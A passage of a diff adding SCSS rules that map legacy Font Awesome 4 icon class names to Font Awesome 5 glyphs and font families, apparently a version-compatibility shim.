+.#{$fa-css-prefix}.#{$fa-css-prefix}-circle-o-notch:before { content: fa-content($fa-var-circle-notch); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-rebel { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ra { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-ra:before { content: fa-content($fa-var-rebel); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-resistance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-resistance:before { content: fa-content($fa-var-rebel); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-empire { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-ge:before { content: fa-content($fa-var-empire); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-git-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-git { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hacker-news { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-y-combinator-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-y-combinator-square:before { content: fa-content($fa-var-hacker-news); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yc-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-yc-square:before { content: fa-content($fa-var-hacker-news); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tencent-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-qq { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-weixin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wechat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-wechat:before { content: fa-content($fa-var-weixin); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-send:before { content: fa-content($fa-var-paper-plane); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-paper-plane-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-paper-plane-o:before { content: fa-content($fa-var-paper-plane); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-send-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-send-o:before { content: fa-content($fa-var-paper-plane); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-circle-thin { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-circle-thin:before { content: fa-content($fa-var-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-header:before { content: fa-content($fa-var-heading); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sliders:before { content: fa-content($fa-var-sliders-h); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-futbol-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-futbol-o:before { content: fa-content($fa-var-futbol); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-soccer-ball-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-soccer-ball-o:before { content: fa-content($fa-var-futbol); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-slideshare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-twitch { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yelp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-newspaper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-newspaper-o:before { content: fa-content($fa-var-newspaper); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-wallet { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-visa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-mastercard { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-discover { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-amex { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-paypal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-stripe { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bell-slash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-bell-slash-o:before { content: fa-content($fa-var-bell-slash); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-trash:before { content: fa-content($fa-var-trash-alt); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-copyright { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-eyedropper:before { content: fa-content($fa-var-eye-dropper); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-area-chart:before { content: fa-content($fa-var-chart-area); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pie-chart:before { content: fa-content($fa-var-chart-pie); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-line-chart:before { content: fa-content($fa-var-chart-line); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-lastfm { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-lastfm-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ioxhost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-angellist { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc:before { content: fa-content($fa-var-closed-captioning); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-ils:before { content: fa-content($fa-var-shekel-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-shekel:before { content: fa-content($fa-var-shekel-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sheqel:before { content: fa-content($fa-var-shekel-sign); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-meanpath { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-meanpath:before { content: fa-content($fa-var-font-awesome); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-buysellads { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-connectdevelop { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-dashcube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-forumbee { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-leanpub { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sellsy { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-shirtsinbulk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-simplybuilt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-skyatlas { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-diamond { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-diamond:before { content: fa-content($fa-var-gem); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-intersex:before { content: fa-content($fa-var-transgender); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-facebook-official:before { content: fa-content($fa-var-facebook); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pinterest-p { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-whatsapp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hotel:before { content: fa-content($fa-var-bed); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-viacoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-medium { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-y-combinator { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-yc:before { content: fa-content($fa-var-y-combinator); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-optin-monster { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-opencart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-expeditedssl { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery-4:before { content: fa-content($fa-var-battery-full); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery:before { content: fa-content($fa-var-battery-full); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery-3:before { content: fa-content($fa-var-battery-three-quarters); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery-2:before { content: fa-content($fa-var-battery-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery-1:before { content: fa-content($fa-var-battery-quarter); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-battery-0:before { content: fa-content($fa-var-battery-empty); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-object-group { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-object-ungroup { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-sticky-note-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-sticky-note-o:before { content: fa-content($fa-var-sticky-note); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-jcb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-cc-diners-club { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-clone { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hourglass-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hourglass-o:before { content: fa-content($fa-var-hourglass); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hourglass-1:before { content: fa-content($fa-var-hourglass-start); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hourglass-2:before { content: fa-content($fa-var-hourglass-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hourglass-3:before { content: fa-content($fa-var-hourglass-end); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-rock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-rock-o:before { content: fa-content($fa-var-hand-rock); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-grab-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-grab-o:before { content: fa-content($fa-var-hand-rock); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-paper-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-paper-o:before { content: fa-content($fa-var-hand-paper); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-stop-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-stop-o:before { content: fa-content($fa-var-hand-paper); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-scissors-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-scissors-o:before { content: fa-content($fa-var-hand-scissors); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-lizard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-lizard-o:before { content: fa-content($fa-var-hand-lizard); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-spock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-spock-o:before { content: fa-content($fa-var-hand-spock); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-pointer-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-pointer-o:before { content: fa-content($fa-var-hand-pointer); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-peace-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-hand-peace-o:before { content: fa-content($fa-var-hand-peace); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-registered { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-creative-commons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gg-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-tripadvisor { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-odnoklassniki { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-odnoklassniki-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-get-pocket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wikipedia-w { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-safari { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-chrome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-firefox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-opera { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-internet-explorer { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-television:before { content: fa-content($fa-var-tv); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-contao { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-500px { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-amazon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-plus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-plus-o:before { content: fa-content($fa-var-calendar-plus); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-minus-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-minus-o:before { content: fa-content($fa-var-calendar-minus); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-times-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-times-o:before { content: fa-content($fa-var-calendar-times); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-check-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-calendar-check-o:before { content: fa-content($fa-var-calendar-check); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-map-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-map-o:before { content: fa-content($fa-var-map); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-commenting:before { content: fa-content($fa-var-comment-dots); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-commenting-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-commenting-o:before { content: fa-content($fa-var-comment-dots); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-houzz { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vimeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-vimeo:before { content: fa-content($fa-var-vimeo-v); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-black-tie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-fonticons { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-reddit-alien { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-edge { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-credit-card-alt:before { content: fa-content($fa-var-credit-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-codiepie { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-modx { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-fort-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-usb { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-product-hunt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-mixcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-scribd { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pause-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-pause-circle-o:before { content: fa-content($fa-var-pause-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-stop-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-stop-circle-o:before { content: fa-content($fa-var-stop-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bluetooth { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-bluetooth-b { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-gitlab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wpbeginner { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wpforms { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-envira { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-wheelchair-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-wheelchair-alt:before { content: fa-content($fa-var-accessible-icon); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-question-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-question-circle-o:before { content: fa-content($fa-var-question-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-volume-control-phone:before { content: fa-content($fa-var-phone-volume); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-asl-interpreting:before { content: fa-content($fa-var-american-sign-language-interpreting); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-deafness:before { content: fa-content($fa-var-deaf); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-hard-of-hearing:before { content: fa-content($fa-var-deaf); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-glide { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-glide-g { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-signing:before { content: fa-content($fa-var-sign-language); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-viadeo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-viadeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-snapchat { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-snapchat-ghost { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-snapchat-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-pied-piper { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-first-order { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-yoast { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-themeisle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus-official { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus-official:before { content: fa-content($fa-var-google-plus); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-google-plus-circle:before { content: fa-content($fa-var-google-plus); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-font-awesome { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-fa { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-fa:before { content: fa-content($fa-var-font-awesome); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-handshake-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-handshake-o:before { content: fa-content($fa-var-handshake); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-envelope-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-envelope-open-o:before { content: fa-content($fa-var-envelope-open); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-linode { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-address-book-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-address-book-o:before { content: fa-content($fa-var-address-book); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vcard:before { content: fa-content($fa-var-address-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-address-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-address-card-o:before { content: fa-content($fa-var-address-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-vcard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-vcard-o:before { content: fa-content($fa-var-address-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-user-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-user-circle-o:before { content: fa-content($fa-var-user-circle); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-user-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-user-o:before { content: fa-content($fa-var-user); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-id-badge { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-drivers-license:before { content: fa-content($fa-var-id-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-id-card-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-id-card-o:before { content: fa-content($fa-var-id-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-drivers-license-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.#{$fa-css-prefix}.#{$fa-css-prefix}-drivers-license-o:before { content: fa-content($fa-var-id-card); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-quora { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-free-code-camp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-telegram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer-4:before { content: fa-content($fa-var-thermometer-full); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer:before { content: fa-content($fa-var-thermometer-full); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer-3:before { content: fa-content($fa-var-thermometer-three-quarters); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer-2:before { content: fa-content($fa-var-thermometer-half); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer-1:before { content: fa-content($fa-var-thermometer-quarter); } + +.#{$fa-css-prefix}.#{$fa-css-prefix}-thermometer-0:before { content: fa-content($fa-var-thermometer-empty); } + 